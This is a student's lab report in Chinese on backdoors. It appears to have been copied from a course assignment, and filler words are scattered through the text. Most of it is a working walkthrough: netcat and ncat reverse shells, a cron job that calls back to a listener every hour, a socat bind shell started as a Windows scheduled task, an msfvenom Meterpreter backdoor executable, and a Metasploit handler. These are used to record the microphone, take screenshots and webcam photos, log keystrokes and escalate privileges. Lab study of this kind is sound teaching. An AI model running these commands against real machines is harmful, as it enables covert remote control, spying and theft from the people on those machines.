20164322韩玉婷 -----Exp2 后门原理和实践

1、后门的概念

      后门是指那些绕过安全性控制而获取对系统访问权的程序linux

2、基础问题回答

     (1)例举你能想到的一个后门进入到你系统中的可能方式?shell

         非官方网站下载应用程序时,该应用程序可能绑定了一些可执行文件,所以留下后门。或者当咱们打开一个网页时,若是该网页会自动连接到木马程序的话,就会在后台自动下载安装木马的安装程序,windows

        并会自动安装木马,生成可执行文件,以此在系统留下后门。安全

    (2)例举你知道的后门如何启动起来(win及linux)的方式?网络

          Windows:设置为开机自启动、修改注册表项、用户执行带有后门的可执行文件tcp

          Linux:经过crontab功能将后门设为定时启动;也能够经过对正常软件绑定注入shellcode编辑器

    (3)Meterpreter有哪些给你映像深入的功能?工具

          在植入后门后,能够控制被控主机的shell,执行指令;获取被控主机的录音、录像、截图、键盘输入记录等。学习

    (4)如何发现本身有系统有没有被安装后门?网站

           打开防火墙,查看有没有异常开放的端口;

          安装杀毒软件,实时监控电脑,定时对系统进行检测; 

3、实验准备

      一、在实验前关闭或退出了防火墙、360杀毒软件、电脑卫士等全部的电脑保护软件,避免在实验过程当中攻击时被拒绝。

      二、使用Windows获linux shell

            (1)在Windows下使用ipconfig查看本机IP,地址为192.168.230.1

 

         (2) 使用ncat.exe程序打开监听ncat.exe -l -p 4322

 

        (3) 在kali中反弹链接Windows,nc 192.168.230.1 4322 -e /bin/sh,使用-e选项执行shell程序。

                  Windows成功得到kali的shell。

     

       三、使用linux获windows shell

             (1)使用ifconfig查看IP,为:192.168.33.131

 

                

        (2)打开监听nc -l -p 4322

                在Windows中反弹链接kali,ncat.exe -e cmd.exe 192.168.33.131 4322

                kali成功得到Windows的命令提示

 

       四、使用nc传输数据

              Windows下监听4322端口,ncat.exe -l 4322

             kali反弹链接到Windows的4322端口,nc 192.168.230.1 4322

             链接创建成功,双方能够相互传输数据

 

 

实验内容 

 

 

参数说明

 

  • -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
  • -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
  • -e 使用的编码器,用于对shellcode变形,为了免杀。
  • -i 编码器的迭代次数。如上即便用该编码器编码5次。
  • -b badchar是payload中须要去除的字符。
  • LHOST 是反弹回连的IP
  • LPORT 是回连的端口
  • -f 生成文件的类型
  • > 输出到哪一个文件

 

1、使用netcat获取主机操做Shell,cron启动

 

     Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。

          在Windows系统下,监听4322端口

          在Kali环境下,用crontab -e指令编辑一条定时任务,选择编辑器时选择3(第一次会提示选择编辑器,之后就不会提示了);

        在最后一行添加45 * * * * /bin/netcat 192.168.230.1 4322 -e /bin/sh,意思是在每一个小时的第45分钟反向链接Windows主机的4322端口,

        设置成45的缘由是我当时的时间是14点42,为了能立马看到效果,因此我将时间设置成了45。保存并退出  :wq

 

 

       

         crontab -l 可查看配置的任务

      

   

      当时间到了第22分时,win得到linux的shell,可执行相关命令

      

 

2、使用socat获取主机操做Shell, 任务计划启动 

socat:
- socat是ncat的加强版,它使用的格式是socat [options] <address> <address>,其中两个address是必选项,而options是可选项。
- socat的基本功能就是创建两个双向的字节流,数据就在其间传输,参数address就是表明了其中的一个方向。所谓流,表明了数据的流向,而数据则能够有许多不一样的类型,命令中也就相应须要许多选项对各类不一样的类型数据流进行限定与说明。

              在Windows系统下,打开:控制面板->系统和安全->管理工具->任务计划程序,在操做选项(菜单栏)中,选择“建立任务”,填写任务名称123,以后,新建触发器,选择开始任务时间为:工做站锁定时。

              .新建操做,选择启动的程序为socat.exe,参数项填为tcp-listen:4322 exec:cmd.exe,pty,stderr ,含义为:把cmd.exe绑定到端口号,同时把cmd.exe的stderr重定向到stdout

(注:这里填写任务名称是第一次是123,可是因为出现问题,我从新作了一遍,而后第二次填写的任务名称是hyt,当时这部分的图已经截好了,因此没有截第二次,可是在任务三中用到该文件时文件名为hyt)

   

       建立完成以后,按Win+L 快捷键锁定计算机,再次打开时,能够发现以前建立的任务已经开始运行,

   (可是不明白为何,我再次打开后依旧没有运行,因此只好手动运行)

 

    在kali终端输入指令socat - tcp:192.168.28.166:7777 (注:socat里面,必须有两个流,这里的第一个流[参数-]表明标准的输入输出,第二个流表示链接到Win7主机的7777端口),此时可发现已经成功得到了一个windows shell

 

 


3、使用MSF meterpreter(或其余软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

   生成后门程序,指令为    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.33.131 LPORT=4322 -f exe > hyt_backdoor.exe

(注:这里设置的主机IP、端口为kali[攻击机]的IP、端口)

 

win10上运行ncat命令,等待接收hyt_backdoor.exe 
    ncat.exe -lv 4322 > hyt_backdoor.exe

kali上运行ncat命令,传输hyt_backdoor.exe到win10主机(IP:192.168.230.1)上
    ncat -nv 192.168.230.1 4322 < hyt_backdoor.exe


效果如图:

  

 在kali上使用msfconsole 指令进入msf控制台

 进行配置:

use exploit/multi/handler     //使用handler模块

set payload windows/meterpreter/reverse_tcp   //设置载荷,字面意思应该是基于TCP的反向链接反弹windows shell

 

show options     //查看利用模块的设置信息
set LHOST 192.168.28.181   //接下来的两个set是配置模块的设置信息,这里是设置本主机kali的IP
set LPORT 7777     //设置本主机的端口
show options    //再次查看一下options,确保设置正确
exploit     //运行模块

 查看kali,发现得到了win10主机的链接,而且获得了远程控制的shell,可执行相关命令

 

 

4、使用MSF meterpreter(或其余软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 

由上面的exploit操做,已经得到shell,接下来,尝试获取目标主机音频、摄像头、击键记录等内容

       获取目标主机音频、截屏内容:

   record_mic    //音频
   screenshot    //截屏

 

 

 

 

 

 

效果如图:  

windows中有摄像设备,能够获取一下摄像头所拍摄相片(如图)

  kali上输入指令keyscan_start ,开始记录windows上任何键盘记录,随意在windows上输入一些字母,以后kali上输入指令keyscan_dump ,就可下载键盘记录

   我在一个文档中输入了本身的学号(linux终端有显示)

     先使用getuid 指令查看当前用户,再使用getsystem 指令进行提权,可是提权失败,上网搜索缘由,说是在windows机器上须要以管理员身份运行,才能提权, 因此我就以管理员的身份运行了一下

         提权成功

 实验感想经过本次实验,我对网络安全方面的只是有了一些了解,以前学习的都比较理论,这种实际操做感受很神奇,虽然如今的我仅仅只是了解后门的基本原理,可是我对信息安全的防御意识提升了。发现系统防范入侵的能力很低,因此以后必定要更加注重信息安全。

相关文章
相关标签/搜索